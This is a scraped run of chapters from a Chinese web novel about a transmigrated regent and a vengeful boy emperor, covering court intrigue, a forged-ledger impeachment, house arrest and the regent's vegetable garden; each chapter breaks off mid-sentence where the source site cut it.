宋闻璟听完,猛然想起刚接触香凌时的那段听闻,原来奸臣不是一时心软捡回来一个普通可怜的女子,而是这女子来头不简单,她与奸臣中间有特别的关系。 “你继续说下去,本王想听。” “啊?”裴夏一时间没反应过来,抬眼看了一下宋闻璟的脸色,随后小心试探地继续往下说道:“香凌本名原叫秦思菱,是前 12. 第 12 章 《奸臣他只想种地》全本免费阅读 沈翊虽年纪小,身高也这些人中低了一头,但身上独属的帝王气质却丝毫不弱,甚至气场还能反压他人一头。 沈翊又继续拍了高颉几下,随后将手收回,高颉瞬间反应过来,两腿一软,直接跪在了沈翊跟前,连带着手里的筷子和身旁的凳子都一起滚落在地板上,在一阵闹心的噪音中,屋里的众人眼看情况不对,纷纷在地上跪成一片。 “陛下,臣哪有胆子敢在背后议论陛下,这都臣听来的,臣对陛下忠心耿耿,怎么会说出如此大逆不道的话!” 高颉双手撑地并将额头顶在地上,说出的话也颤颤巍巍,像是慌的丢了魂。 “高爱卿,你这是在质疑朕?” 沈翊身着黑色锦袍,凤眼微眯,薄唇含笑,明明俊俏的脸上带着孩童独有的稚气和柔和,却让人莫名感受到一种生人勿近的冷硬和压迫。 高颉自身其实并不知道这小皇帝听了多少,便想着误打误撞说几句好话脱身,但这么听小皇帝一说,心里瞬间凉了个底。 “臣不敢。” “朕知道。” 轻飘飘的三个字,便让高颉那颗疯狂跳动的心脏瞬间暂停下来,随之沈翊突然笑了,在无比寂静的房间内,这声笑显得格外突兀骇人。 “跪在地上干什么,朕又没说什么。” 听到这声讪笑,高颉心中松了口气,刚想再磕个头谢主隆恩,便听见耳边响起小皇帝的脚步声,而眼睛的余光中看到小皇帝直接略过他,去了宋闻璟跟前。 不知为何,沈翊越是看着宋闻璟这副低声下气的样子,心里就越是发了疯的高兴,有时更甚再去踩上一脚,从前高高在上轻易玩弄自己的人,现在就如同一个卑微的蝼蚁般跪拜在自己跟前,心里的快感是藏不住的,沈翊脸上露出的笑也是真的。 “皇叔,跪在地上做什么,先起来吧。” 沈翊笑着伸出手,宋闻璟抬头看了沈翊一眼,不禁愣了一下,只是几天不见,眼前的沈翊似乎像变了一个人,是因为这个年龄段的孩子长的太快了吗?怎么感觉人变高了,就连气势也长开了。 回过神,宋闻璟看着眼前的手,半信半疑地放了上去,这小皇帝怎么会突然对他这么好了,难不成小皇帝是真心准备放过他了吗? 答案是没有。 沈翊其实并没那么好心,但通过这几天的暗中监视和前几天宋闻璟一系列的动作,他还没看明白宋闻璟到底想做什么,一个手握重权的奸臣,怎会这么轻易让出兵权,除非这是奸臣的计谋,目的是故意让自己放松警惕,好在最后出其不意打自己个措手不及。 可越是这样,朕就偏不进这的圈套,朕还要抓住机会想办法去斩草除根。 宋闻璟扶着他的手慢慢起身,开始放下心思,直到沈翊感受到手上聚集的力量越来越重,沈翊却蓦然将手上的力气一松,而毫无防备的宋闻璟不仅再次跪在地上,还一头撞在沈翊挂在身前的白色玉佩上,玉佩上不知道刻了什么,宋闻璟只觉得横横竖竖很多,撞的生疼。 “皇叔没事吧,朕以为你已经站起来了,所以松手松快了。” 沈翊满脸焦急的将人扶起来,看着宋闻璟头上明显发红的一块痕迹,心中暗喜的不行。 宋闻璟抬手摸了摸自己被撞疼的位置,忍了又忍才将要溢出嘴边的痛呼声又咽了下去,这时,宋闻璟才反应过来小皇帝根本就是故意的,明明才起了一半的身,他便着急的松了手,这就是赤裸裸的报复。 宋闻璟想明白了,心里自然也有气,自己不仅把兵符交出去了,还为了不碍小皇帝的眼躲在王府十多天,小皇帝没给好脸就罢了,还这么报复他,宋闻璟故意往后退了几步,小皇帝反倒粘的更紧了,非要再看看那红痕。 宋闻璟知道这小皇帝才不是正真的关心他,而是在欣赏自己的战利品,随后宋闻璟干脆也不躲了,重新拿出一副奸臣样,当着小皇帝的面又坐下来,压着怒气问道:“陛下深夜到访是想干什么?” 沈翊也跟着坐了下去,目光时不时落在宋闻璟额头那片红块上,笑道:“朕看皇叔这几日都没有去上朝,心里甚是担忧,所以挑了个好日子想来看看皇叔。” 沈翊话一停,又瞥了一眼跪在地上的高颉,继续道:“就是有点巧了高爱卿也在,朕这才知道原来高爱卿和皇叔的关系这么好,这除夕夜朕还想过来陪陪皇叔,到这才发现原来皇叔已经有人陪了。” 宋闻璟看着沈翊一副惺惺作态的样子,心里越想越气,干脆直接开口赶人,“承陛下福泽,臣现在好的很,若陛下没有旁事便回宫吧。” “这不是合适吧。”沈翊被驳了面子,也只笑笑,“朕怎么说也是客人,这逢年过节的被主人赶出门这怕不太好吧,而且这偌大的王府既然不缺高爱卿这双筷子,想必也不缺朕这一双筷子。” “你说是吧,高爱卿。” 沈翊看了一圈,笑问道:“你们怎么都还跪着,这菜都要凉了。高爱卿你是府里的贵客,别跪着了快过来,要不然皇叔要生气了。” 高颉不敢抬头,自是沉默一番后,回了一个“是”后,便起身刻意坐到了宋闻璟旁边。 随后屋里一堆人陆陆续续站起身,又重新坐了下去。 “裴夏。”宋闻璟道,“再添两双筷子。” 裴夏应下,又到后厨拿了两双筷子,放在两人跟前。 但沈翊的心思很显然没放在饭上,随后又盯着高颉刚拿来的两壶酒,问道:“皇叔,那是什么?” “什么?” 高颉瞬间会意,道:“这是臣珍藏的梨花酒,陛下可要尝尝?” 话音刚落,沈翊眼睛蓦地一亮,说起来好像已经很久没再偷尝过这梨花酒的味道,从前母后宫里有棵长了十多年的梨花树,每年一到梨花树开花的时候,这梨花香便飘的到处都是。 下过雨后,这雪白的梨花便落满了树下,看起来甚是可惜。后来,宫里来了个会酿梨花酒的宫女,每次在梨花树开花时,便会采下一些梨花放起来酿酒,梨花酒口味清淡,不辣也不冲,回味起来还有一种淡 13.第 13 章 《奸臣他只想种地》全本免费阅读 宋闻璟脑中又想起姜老的叮嘱,命就这么一条,还是珍重一点的好。 后来,沈翊和高颉两人留在最后,你一杯我一杯的,将两壶梨花酒喝的干干净净,高颉从没想过,小皇帝年纪不大居然还这么爱喝酒,还想着,下一年一定多藏一点带给小皇帝,毕竟找到一个同道中人实在不易。 “高颉。”沈翊也不用称呼了,直接叫出高颉本名,随后笑着道,“你脸红了。” “哪有,这肯定是热的。”高颉摆摆手,死不承认道。 两壶梨花酒,高颉喝了一壶半,而沈翊只喝了半壶,高颉现在只觉得脑子又昏又沉,说完这句话,便一头倒在桌子上了。 沈翊笑了一声,随后凑过去喊了他几声,又戳了好几下,高颉昏睡的沉一直没醒,沈翊走出去,被灯笼照的微亮的庭院竟无一人,安静孤寂,好像又变成他一个人。 “汪汪汪!” 小财摇着尾巴闻着味又跑过来,冲着沈翊叫了几声。 沈翊闻声低下头,看着一直扭曲着身子蹭自己下摆的小黄狗,不禁往旁边退了几步,心想,这小黄狗怎么还在这着,奸臣居然没把它赶出去。 “汪!” 小财跟着他的脚步,一边蹭一边走,沈翊好像知道自己被这条小黄狗赖上了,随后也不躲了,蹲下身把小黄狗往旁边推了推。 小财不放弃,为了再吃口肉,一股谄媚劲表现的淋漓尽致,但沈翊不明白,看着小黄狗露出胖乎乎的肚子,只想着奸臣居然不讨厌这只小黄狗,还把它养的这么肥。 小财扭累了,看着这人好像没有想要给他喂饭的意思,便又站起身走到门口,朝里面叫喊了一声。 沈翊跟着走过去,不由得问道:“你要进去?” “汪汪汪!” 小财吐着舌头,口水都流出来了。 沈翊推开门,小财风一般跑了进去,在桌子边闻了一圈,最终坐在一个地方不动了,但小财的尾巴好像被人按下了加速键,速度越揺越快,就连嘴边的口水也如同一颗透明发亮的珠子,连着串的往外掉。 沈翊看着小财的位置目光上移,拿起桌子上唯一剩下的一块鸡腿,随手扔了下去,小财动作太快,似乎还没看见鸡腿掉在地上,便立马叼着又跑了出去。 沈翊一路跟出去,坐在屋外的台阶上,看着小黄狗越吃越香,不禁讪笑道:“你好能吃啊。” 听到声音,小财动作渐停,抬起狗头瞧了眼前人一眼,随后又专心低头干饭。 鸡腿吃了一半,宋闻璟带着裴夏和香凌回来了,小财一听到声音两只狗耳朵一立,立马叼起半根鸡腿朝漆黑的周围跑去。 “小黄狗?” “小财,你是不是又在偷吃!” 香凌刚进门,便看着一道黑影直直跑了过去。 小财听到声音也装听不见,嘴上不自觉的加快了速度,终于赶在香凌找到它时,那根鸡腿咽下了肚。 “你为什么又偷吃,我不是刚刚给你喂了饭吗。” 香凌有点生气,一只手提着小财的后颈又带了回去,却发现小皇帝还没走,微微行了个礼,随后又跟宋闻璟和裴夏抱怨道:“小财,天天偷吃,怪不得一直都这么胖呢。” “汪!” 小财扭了扭身子,又从香凌手里逃脱,摇着尾巴逃跑了。 “哎!” “算了。”宋闻璟叹了口气,“这几天就让它多吃点吧。” 沈翊问:“皇叔什么时候养起狗来了?还养的这么胖?” “这个……”宋闻璟一时语塞,又道:“这是别人给的。” 沈翊又看看他问:“你们去哪了,为何刚刚朕一个人也没看见。” 宋闻璟道:“东街冯家在护城河边放了烟花,臣看陛下和高大人还没尽兴,我们便去凑了个热闹,唉,怎么没看见高大人出来,是走了吗?” 沈翊道:“高颉睡着了。” “那宋家,是冯洪徳那个富商?” 宋闻璟点头,“怎么了吗?” “没事。”沈翊摇摇头,“高颉还在里面睡着呢,皇叔好好安顿他吧,要是没事,朕先回去了。” 宋闻璟点点头,又问道:“陛下是自己一个出来的?” 沈翊一愣,“朕……一个人出来的。” 宋闻璟道:“现在这个时候街上人多杂乱不安全,要不然让裴夏送陛下回去吧。” “啊?不用了!”沈翊连忙摆摆手,往门口跑去,“皇叔别担心,朕又小孩了。” 话音落,沈翊的身影便埋没在黑暗之中,裴夏道:“属下还去吗?” 宋闻璟一想,说道:“你跟上看看吧。” 裴夏点点头,便一同埋没在这黑暗之中。 餐桌上,高颉睡得更沉了,宋闻璟让两个下人把高颉扔到客房,后又回到房,看起来这几日朝中的发生的大小事。虽然宋闻璟这几日都在府里待着,但朝堂中的事情却依旧能迅速得到,这奸臣的暗网确实不是随便说说的。 …… 走出王府的沈翊并没有立马回宫,而是去了烟柳花巷中的百香阁,满楼的香水胭脂味浓的不像话,沈翊一进去便聚上来几个美人,随后带着沈翊去了三楼的雅间。 裴夏看到沈翊走进去后,疑心加重,随后也跟了上去。 沈翊关上门后,裴夏便藏在门外,还没听到一点信息,便从屋里突然飞出一根筷子来,裴夏翻身闪开,眼见已被发现,便又回去了。 屋里,柳溪轻笑:“我的好陛下啊,有人跟了你一路,你都没发现吗?” 沈翊愣了下,“朕不知道。” 柳溪笑了声,抿了一口杯子里酒,又问道:“陛下怎么知道臣在这的,陛下不好好待在宫里,来这找臣干什么?” 沈翊道:“除了这儿,你还能在哪?你不是在这安了家吗?朕来这自然有朕的想法。” 柳溪疑惑:“是吗?” 沈翊问:“冯家是做什么生意的?” 柳溪道:“布行嘛,前些年我还去做过几身衣服呢。” 沈翊道:“京城中的布行不少,可就唯独这冯家刚刚新开的布行生意好的不行,而且就单单这几年那次不是赚得盆满钵满,今年这冯家居然还能拿出这么钱来给全京城百姓放烟花。” “烟花吗?”柳溪点点头,“臣倒是看了一眼,很漂亮,如果以后天天能看到那就更好了。” “但话又说回来,冯家这是把全京城的烟花都买下来了,护城河那边倒是围了一圈又一圈。” “哼。”沈翊冷嘲道,“这冯家虽看的赚的多,但每年缴的税却总是达不到标。” 柳溪一愣,“难不成 14.第 14 章 《奸臣他只想种地》全本免费阅读 年后,宋闻璟第一次上朝是在二月份,这一天是个很普通的日子,阳光明媚,地上的雪也都消融的差不多了,离开了新年的氛围,每个人都重新开始忙碌起来。 宋闻璟也在陆续见过沈翊亲自提拔的人选后,看着赵廉依旧站在队伍的最后排,心中突然一阵后悔,当初是不是不应该提一下赵廉,小皇帝怎么会放心用自己提议的人,白白耽误了赵廉的仕途。 “有事禀奏,无事退朝。” 安静广阔的大殿内,站在沈翊旁边的李公公走上前,嗓子一喊传到远处似还能带回一抹浅浅的回声。 “陛下,臣有事要奏。” 身着一身浅绯色官服的年轻人,手拿象笏,微微弯腰低着头站在大殿中央。 沈翊饶有兴致的看向他,嘴角露出一抹意味深长的浅笑,问道:“爱卿,可有何事要禀奏啊?” 大殿中央的年轻人声音清冷淡漠,一开口便惊起四周哗然。 “臣要弹劾摄政王与人贩卖私盐,受贿谋财!” “哦?”沈翊语气一顿,“杜爱卿你可要说明白了。” 杜岱把腰弯的更低,声音更加笃定,“臣确定,臣有证据也有证人。” 沈翊问:“谁?” “冯洪徳!”杜岱直起身往殿门外喊道,“把罪人冯洪徳带进来!” 话音落,两个御前侍卫架着早已被吓到腿软的冯洪徳,一甩手扔在地上,随后又恭恭敬敬地行了个礼出去了。 冯洪徳趴在地上,颤颤巍巍地抬起头看向坐在龙椅上的小皇帝,瞬间声泪俱下,哭诉道:“草民是冤枉的!草民冤枉啊!” 杜岱从袖口拿出一账本,随之继续道:“这是宋大人和冯洪徳的交易的账本和契约书。” 站在原地许久不说话的宋闻璟忽的心头一动,怎么还会账本,所有的账本不都已经被裴夏烧毁了吗? 李公公赶忙从杜岱手里呈上去。 “陛下,臣也冤枉啊。”宋闻璟立马跪在冯洪徳旁边,“臣绝不会干这种事,请陛下明鉴!” “陛下明鉴啊!”冯洪徳立马跟在附和道。 沈翊翻开这账本,开始装模作样地读了起来,“天喜十一年四月十八日,收入七千两,天喜十一年,四月十九日,收入一万两……” 沈翊读着突然笑了,“你们原来这么早就有交易了,这一天赚得确实多,这一年下来,两位大人是不是也要把国库给搬走了。” “臣不敢。” “啊,草民不敢。” 沈翊又叫了一声杜岱,问道:“这账本上的内容,是否真的属实。” 杜岱点头,“确凿,臣有证人。” 沈翊道:“叫进来吧。” 杜岱朝外又喊了一声:“带证人!” 大殿的众人纷纷扭头向后看去,来着一个白发苍苍的老者,冯洪徳瞳孔震惊见他的第一眼便认了出来,是掌管冯府多年的管家,冯府几乎所有的账本都在他手里。 “卫元?” 冯洪徳看着他慢慢走过来,心中的想法却越来越清晰,卫元背叛了他,背叛了整个冯家,他脸上挂满了不可思议的神情,随后僵住的神情慢慢开始变得扭曲,大声质问他道:“账本是你拿走的,那天的走水也是你伪造的假象,对不对?!” “草民,拜见陛下。”卫元略过冯洪徳的问题,朝沈翊跪拜。 “卫元,我在问你话!”冯洪徳本就在气头上,现下受了冷落,心情更是烦躁,手背青筋爆气暴力的拽着卫元的衣领,恶狠狠道,“冯府养你这么久,你居然背叛你主子,你到底还没有良心!” 卫元没动神情恹恹,眼神平静如同在看一个很无聊的东西。 “老爷,收手吧。”他淡淡吐出一句话,却让处于精神即将破溃的冯洪徳发了疯。 冯洪徳猩红着眼,对着他狂喊:“我没有做!我没有做,这不是我做的!” “冯洪徳,这里是朝堂!”站在最前面的林渊突然开口道,“现在陛下在你面前,你有冤屈可以说,但别在这发疯!” 冯洪徳看了他一眼,愣了许久,随后转头指着宋闻璟哭喊着,“都是他指示的,草民冤枉啊!这种掉脑袋的活,草民是有一百个胆也不敢啊!都是因为宋大人撺掇草民,草民一时糊涂才……草民冤枉啊,陛下!” 沈翊挑挑眉,随后询问道:“你可是认罪了?” 冯洪徳又哭又摇头,不甘心是真的,可背后的事实也是真的,当年如果不是有宋闻璟在背后撑腰,这买卖可不是一个普通人能做的。 林渊接着道:“陛下,此人现下应该是疯了,再问应该也问不出什么了,不如……” “皇叔,朕最相信你了。”沈翊看着他,语气一下提了上去,“皇叔应该不会骗朕吧。” “陛下,臣想看看这账本。”宋闻璟淡淡道。 冯家账库保管一向严密,而且那次走水,明明火势不小,明明什么都化为灰烬了,为何还留下这账本,这卫元又怎会突然变心,他是在什么时候变得心,是恰好在走水之前吗?从他穿来的开始祸事便不断,是谁这么真心想至他于死地。 这个人会是沈翊吗? 宋闻璟看着悠闲坐在龙椅上的沈翊,好似早已胜券在握,宋闻璟很难不怀疑,这不是沈翊做的,或许沈翊想要的不是简简单单一个兵权,在血腥暴力成长下的孩子,想法怎会这么简单。 沈翊给了李公公一个眼神,那本账本立马送到宋闻璟跟前。 宋闻璟打开账本,里面写满了明细,最重要的是,这里面还加着一封契约书,当初的合作与交易更是写清楚了详细内容。 可唯独这笔迹不同,宋闻璟仔细看过奸臣的笔迹,奸臣的最后一笔收尾习惯向上提,这契约书上的笔迹明显是向下落,虽然这契约书早已褶皱的不像话,但还有的内容还是在上面并未模糊。 “皇叔看好了吗?”沈翊居高临下地看着他,嘴边挑起一抹笑,“皇叔,清者自清,朕自是站在……” “陛下,臣认罪。”宋闻璟声音轻飘飘的,往地上磕了个头。 “什么?”朝堂上瞬间议论声不断,“不要命了吗?” 沈翊也有些震惊,一下没控制住情绪,激动地拍案而起道:“你说什么?” 宋闻璟又重复了一遍,“是臣指示的,都是臣的错。” “朕可以再给你一次机会。” 沈翊自顾自地说着,心里却发了疯似的想着,如果这奸臣当着朝堂之上所有的人面卑微的求着自己放过他,就如以前自己跪在地上祈求他放过这许许多多的人,只要他照做自己自然可以放过他,毕竟他确实没有证据,而这份证据是缺失的,是不完整的。 但宋闻璟好像早就心意已决,心里却赌一场小皇帝不会真的来要 15.第 15 章 《奸臣他只想种地》全本免费阅读 牢里阴沉晦暗,待的那几天,宋闻璟常常窝在那硌人的草席上经常一待就是一天,除了裴夏和香凌得了空来看他,宋闻璟平日里不说话也不爱动弹,有时狱卒送来饭,叫了他好几声才得一句回应,狱卒见了宋闻璟沦落至此,自然对他也没有好脸色。 天气渐渐回暖,宋闻璟原本穿的就不厚,除去那身官服更显单薄,直到沈翊来,宋闻璟原本吊着的一口气也终于散了。 宋闻璟意识不清醒只知道当时一股脑的将想到的话都说了出来,不知道小皇帝是听了多少还是压根没听明白。后来小皇帝走了,自己再次醒来时是在王府的床上,宋闻璟还没反应过来,便听到香凌一边往外走,一边喊人。 再后来,宋闻璟从裴夏口中得知,小皇帝并没有这么轻易放过他,沈翊不仅撤了他的职还将他囚禁在王府,现在王府外围满了禁卫军,而冯洪徳在牢里越来越疯,在宋闻璟出去的第二天冯洪徳便在牢里没气了。 沈翊选择放他出去心中对他还是忌惮,虽然只是单纯囚禁,但还能强压宋闻璟的势力,现在边疆不安稳,敌寇一遍遍的挑衅,宋闻璟断不能在此时出事,动摇军心。 宋家军忠于宋家人忠于宋家兵符,在开国时便立下大功,此后虽然远在边疆抵御敌寇,回京次数也屈指可数,但势力却不容小觑,也正因因为这个原因,每位继位的皇帝心中都有所忌惮,后来为打消这个隐患,他们开始对他们的妻儿下手,表面美名慰问,实则威胁。 三天后,宋闻璟病好,过在王府的清闲日子里,这让宋闻璟更加确信小皇帝不会再来找他的麻烦。 香凌看着自家大人丝毫不在意的样子,不由得起疑,问道:“大人,您不生气吗?” “生气?”宋闻璟笑笑,“为什么要生气?” 香凌不解,“陛下禁了您的足却没说什么时候放大人出去,这不摆明了让大人要一辈子留在这?” “其实本王没觉得有什么不好的,比起被陛下处死,禁足不是听起来好多了?”宋闻璟闭了闭眼,叹了口气。 “大人!”香凌撇撇嘴,“大人从前不会说死不死的,有姜老在,大人能活好久好久。” 宋闻璟笑了声,随后又想起了什么,“姜老也在府里吗?” “在的,应该就在院子里乱转吧,现在姜老去不了药堂,闲的没事就在外面的石桌上喝茶。”香凌想了想道。 说罢,姜老摸着灰白的胡子走了进来,瞧了一眼宋闻璟,又很自然的坐在旁边的椅子上,心不在焉地问道:“大人可是好了?” 宋闻璟看着旁边的姜老,颇有些不好意思,“连累您了。” 姜老摸了摸胡子继续道:“在下也没想到大人的钱是怎么来的,要是在下知道,大人借给我十个胆,在下也不敢收。” 宋闻璟笑了笑不说话,姜老叹了口气,道:“大人,这些年来,在下自是对大人尽心尽力,但现在……” “什么意思?”宋闻璟皱了皱眉,总感觉有一种不祥的预感。 “在下也不瞒大人了。”姜老道,“大人病的这几天,府里的人都快走干净了。” “什么?”宋闻璟眉心跳了一下,随后疾步走向门外,看着落寞寂静的前院,这才发觉这些天为什么总感觉清净了不少。 香凌跟上去,踌躇良久,才开口道:“大人,您刚被送回来的那一天,府里的人便走了一半,后面大人被降了罚,陛下更是将这些下人们带走去了宫中充当杂役。” 香凌自顾自地说着,眼角慢慢溢出泪,“奴婢要不是被裴夏护着藏了起来,怕也是去了宫里。” “裴夏呢?”宋闻璟突然发觉好像这几天也没见过裴夏几次。 香凌道:“裴夏身手好,现在逃出去不知道干什么去了?” 姜老去屋里收拾了收拾东西,便背着一个包裹,又嘱咐了宋闻璟一遍,“在下就还在以前的那家医馆,在下在王府混吃混喝这么多年也算欠大人一个人情,大人若有事来找在下,在下一定帮大人。” 说罢,便走出了府门。 到了傍晚,裴夏回来了,宋闻璟问他:“去干什么了?” 裴夏喘了口气,道:“属下本想去求庄大人替大人求求情,谁知道半路又碰上个黑衣人,与属下交了下手,属下这才回来晚了。” 宋闻璟问:“可有受伤?这黑衣人?” 裴夏摇摇头,“这黑衣人的目标应该不是属下,只是让属下碰巧撞见了。” 宋闻璟点头,随后又笑道:“不必冒险出去了,小皇帝好不容易逮到的机会,怎么会轻易放手,最起码我们眼下是安全的,小皇帝派人给我们守门,我们更应感谢一下小皇帝。” “主子?”裴夏一愣,自家主子这是怎么想的,被人打了一下,还要想着那人的好? 宋闻璟道:“既来之,则安之。这没什么不好的。” 裴夏看着他,似乎自家主子简直换了个人,从上交兵符开始,自家主子就不对劲,毕竟这宋家的兵符不知被多少皇帝惦记都牢牢握在自己手里,现在倒好,白白送了出去,还吃了一口亏。 主子不在意,还乐呵呵的觉得值,裴夏觉得主子疯了,但又觉得主子肯定不会这么简单。 被囚禁府里的三个月后,几个人也都适应了,高颉有时候怕在府里会亏待宋闻璟,一下连着好几天偷着往里送东西。 后院的东墙边,不知什么时候破了个小洞,高颉便把东西往那里面塞,再后来,高颉成了个许愿树,好像只要对着这面墙许下心愿,不出几天便在这墙边看到自己想要的东西。 高颉也不嫌累,跑这跑那,后来知道裴夏天天翻墙出去,高颉撂挑子不干了。 又过了几天,宋闻璟闲的无事又重操旧业在后院移走了几颗梅花树后,又研究上菜了。 拖高颉找了几个菜品的种子,从里面挑选出几个品质好的种子 16.第 16 章 《奸臣他只想种地》全本免费阅读 时间流逝,小菜园一转眼也到了收获的时段,蓬勃生机的绿色与现下不合时宜枝干光秃秃的梅树相差甚大,后院也因为这一抹绿色多了一线活力,给死气沉沉的王府带来一丝希望。 小菜园成熟的作物随着季节的变换而变换着品种,自种自取采摘的方式,也给日渐败落的王府节省了一笔开销,但众人看着小菜园长势讨喜的作物,瞬间傻了眼。 原来这些东西随便种种都可以收获这么好,随后干脆给宋闻璟提了意见,把后院的梅树都移到前院去,把后院整顿成一个大的菜园,想种什么就种什么,反正在王府出不去,闲着也是闲的,不如做点什么。 宋闻璟坐在黄梨花木的椅子上一听,不由得笑了一声,“你们还当真这东西这么好种吗?” “不是吗?”香凌默了默,后又想起自己种的几颗小菜来,不禁微微扬起的下巴,一副得意道,“大人,现在奴婢可会种菜了,前段时间奴婢不是还帮大人一起种菜了吗?大人还夸奴婢种的好呢。” 说罢,香凌笑着凑到宋闻璟跟前,献殷勤的站在宋闻璟身后,两只小手微微攥起拳,轻一下重一下的落在宋闻璟肩上,宋闻璟被伺候舒服了,随即喜笑颜开又继续问道:“你们要这么大的地方要准备种什么?” 香凌见宋闻璟松了口,立马回道:“奴婢和裴夏商量着,想把后院最西边那块地方种几棵果树,然后剩下的地方再寻一些别的菜种,像什么花菜,白菜,大豆,萝卜,苋菜,哈哈哈,咱们以后每年都可以不重样,而且这样咱们变了样的吃也吃不腻,以后还不用花钱买菜了。” 香凌两只手十指相扣,心中是对未来美好王府生活日子的憧憬。 “想的确实很好。”宋闻璟站起身,拍了拍香凌的肩膀,“但种这么多我们能吃完吗?” 香凌眼神蓦地亮了一下,“当然吃的完!要是吃不完我们还可以让裴夏拿出去卖,赚点小钱回来。” “可是……” “怎么了吗?”香凌不解的看向他。 宋闻璟叹了口气,道:“以我们现在的条件可能还达不到你这未来的生活,而且就单单这花菜,你知道种花菜需要什么条件吗?这种植每个过程的复杂性和重要性你也不知道,而且现在的天气又要开始冷了,这菜矫情很,如果你真的想种,明年先试着把那一块小菜园种满吧,明年的小菜园就靠你修养了。” 香凌一愣,耳朵听的更是云里雾绕,虽然她确实只是对种菜略有点皮毛,但她怎么连自家大人说什么都听不懂了,大人以前明明都不碰这些东西,现在怎么还这么精通了,难不成大人其实一直都对种地感兴趣,但碍于身份不好意思,现在被关禁足了,也开始展现种地的兴趣了吗? “大人,你在说什么呢?什么条件,不就浇水除草就好了吗?大人不就是这么干的?” 香凌不解,但还是被最后一句激起了兴趣,“明年这小菜园就是奴婢的了吗?哈哈哈,可是奴婢还是怕万一奴婢没照顾好它们,明年我们会不会没菜吃啊。” “这个可能会。”宋闻璟笑了笑,“没关系,放手做便是,万一成了呢?” 香凌不好意思地笑了两声,“那大人可要帮奴婢帮着点。” …… 一年又要过去,新的一年又要来到,朝堂上各个官员每个人都为了给小皇帝庆生该送想的焦头烂额,现在小皇帝皇权逐渐稳固,朝堂的各方势力纷纷向小皇帝这边倒。 这次小皇帝庆生每个人都想博得小皇帝青睐,好到后面完成个一步登天的想法。但到了最后沈翊看着各官员送来的毫无新意,价值不菲的字画和瓷器,心里沉静的犹如一滩死水,掀不起丝毫波澜。 “赵大人怎么空着手来了?是没什么要送给陛下的吗?” 李公公笑出眼角的皱纹,连说话的语气都一扬一抑,一脸阴阳怪气的模样更是看着人心里难堪,他既笑面前人不通人情世故,又笑这人一根筋迟早会被这些会攀炎附势的官员们排挤。 赵廉摇摇头,“陛下,臣这里有份更好的贺礼。” “哦?”沈翊凤眼微眯,心中一下来了兴趣,“赵爱卿,要送给朕什么?” 赵廉不急不慢地从袖口抽出一本奏折双手呈上,不仅站在旁边的李公公,在座的各位官员们,都皱起眉,心中更是摸不透这赵廉在小皇帝庆生的日子给小皇帝看奏折是什么意思。 但一时之间,在场的所有人都不说话了,周围响起蜡烛燃烧的声音格外刺耳,现在的气氛也如同掉入千年冰窟,寒冷安静的让人发怵。 沈翊漫不经心地翻开这本奏折,本以为赵廉会在这里面随便写点祝福语,毕竟这些名贵的字画和瓷器,他一届寒门弟子也买不起。 可奏折的内容却远不如想象的简单,这是关于边关军队粮草的问题。 赵廉道:“边关战乱纷起,粮草告急,臣恳请陛下开库放粮。” 说罢,赵廉又跪在地上重重磕了个头。 沈翊看着手中的奏折,眉心微蹙,低声自言自语道:“可朕怎么记得前些日子不是刚刚运了一拨了吗?这些人就吃的这么快吗?” “赵卿。”沈翊指尖来回揉捻着这薄薄一层纸,似想起什么抬眼看了赵廉一眼,“朕记得赵卿还在翰林院任职?” 赵廉抬起头看向坐在高处的沈翊,回道:“陛下圣明,臣是在翰林院任职。” 听到回答,沈翊嘴角微微扬起,看着跪在地上赵廉的心里突然想起什么,随后说道:“这征要粮草的折子没跑到朕手里,怎么跑到你这小小翰林院手里了?” “陛下。”赵廉正了正神色,“臣是从户部……” “陛下……”大殿上,又匆匆走出一个瘦瘦高高,头发胡须花白的老者,“陛下,现下国库实在拿不出这么多粮草。” 沈翊皱眉不解,“为何?” 高回道:“今年天灾频发,百姓收成甚微,连带今年的苛捐杂税都减去了不少,综合各个地方的税收,收入国库的粮草都往比往年少了大半。” “天灾?”沈翊笑道,“朕怎么不知道发生了这么大的事情,那为何都不往上递折子?” 高回想了想,又继续道:“回陛下,前段时间摄政王不让再往上呈这些关于天灾泛滥的奏折,说怎么治理也无用,后来干脆也将此事抛在了脑后,而这些折子也是近几日呈上来,天灾泛滥早已成寻常事,臣怕陛下会如同摄政王一般……” “胡闹!”沈翊心中一恼,原本放在腿上的手不知何时握起了拳,重重砸在桌子上,两者接触的同时,发出的沉闷的响声也把在场的各个官员吓了一跳,“朕是朕,他是他,你们竟敢把朕和他放在一起比较,难不成你们还想让他坐上朕的位置不成?” “臣不敢。”宽广的大殿之中,各个官员跪伏在地上,周围还飘荡着此起彼伏的呐喊声。 沈翊站起身,愤愤一甩袖,随后严肃正经道:“明天朕要看到全部的奏折,谁敢隐瞒五十大板,扣一年俸禄充填国库。” “下官谨记。”在众人的呐喊声中,沈翊走出了大殿。 夜晚的凉风吹在脸上,犹如冰箭般刺骨,沈翊迈着大步回到了偏殿,还未等太监宫女们开门,沈翊便一脚将门踹开走了进来。 偏殿里,柳溪正沾着沈翊的光,懒散的躺在榻上喝的烂醉,现下被沈翊这一大动作一惊,七分的醉意瞬间也清醒了三分。 柳溪抬手安抚完受惊的小心脏,转头问道:“哎呦,我的好陛下,怎么又不高兴了。” 沈翊没理他,柳溪又自顾自的往嘴里灌了一口酒,“好喝!嘿嘿。” “来人啊!”沈翊现在正在气头上,看着柳溪这副样子不自觉地白了他一眼,站在门口的太监宫女们听到叫声也连忙走进来。 沈翊问道:“他怎么在这?” 其中的一个小太监低着头回道:“陛下不是说,柳太傅可以自由进出吗?” 沈翊又看了柳溪一眼,下令道:“把他扔出去,还有这酒壶。” 几秒钟后,太监宫女们 17.第 17 章 《奸臣他只想种地》全本免费阅读 “皇叔怎么来了?”沈翊刚下了朝,进门看着宋闻璟嘴角含笑道,“几天不见,皇叔气色都好起来了。” 宋闻璟看着许久不见的沈翊不禁一愣,沈翊似乎每次见面都不一样,这次相见,沈翊变得更高了,好像已经赶上自己了,就连那孩童面相也长开了,原本脸上留存的一丝稚气也在此时消失不见,可这些对于宋闻璟并不重要,他快步走到沈翊跟前,耳边忽略沈翊的话,直逼主题道:“陛下可曾记得从前答应过臣什么吗?” “什么?”沈翊不解,“朕答应过你什么了?” 宋闻璟提示他:“陛下可还记得臣写给陛下的那封信吗?” “嗯……好像记不得了。”沈翊笑笑,“这都过了好久了,朕都忙糊涂了,皇叔说给朕写过信,这信……好像找不到了。” 沈翊一拍手,立马道:“皇叔要看吗?朕找找,好像就放在这。” 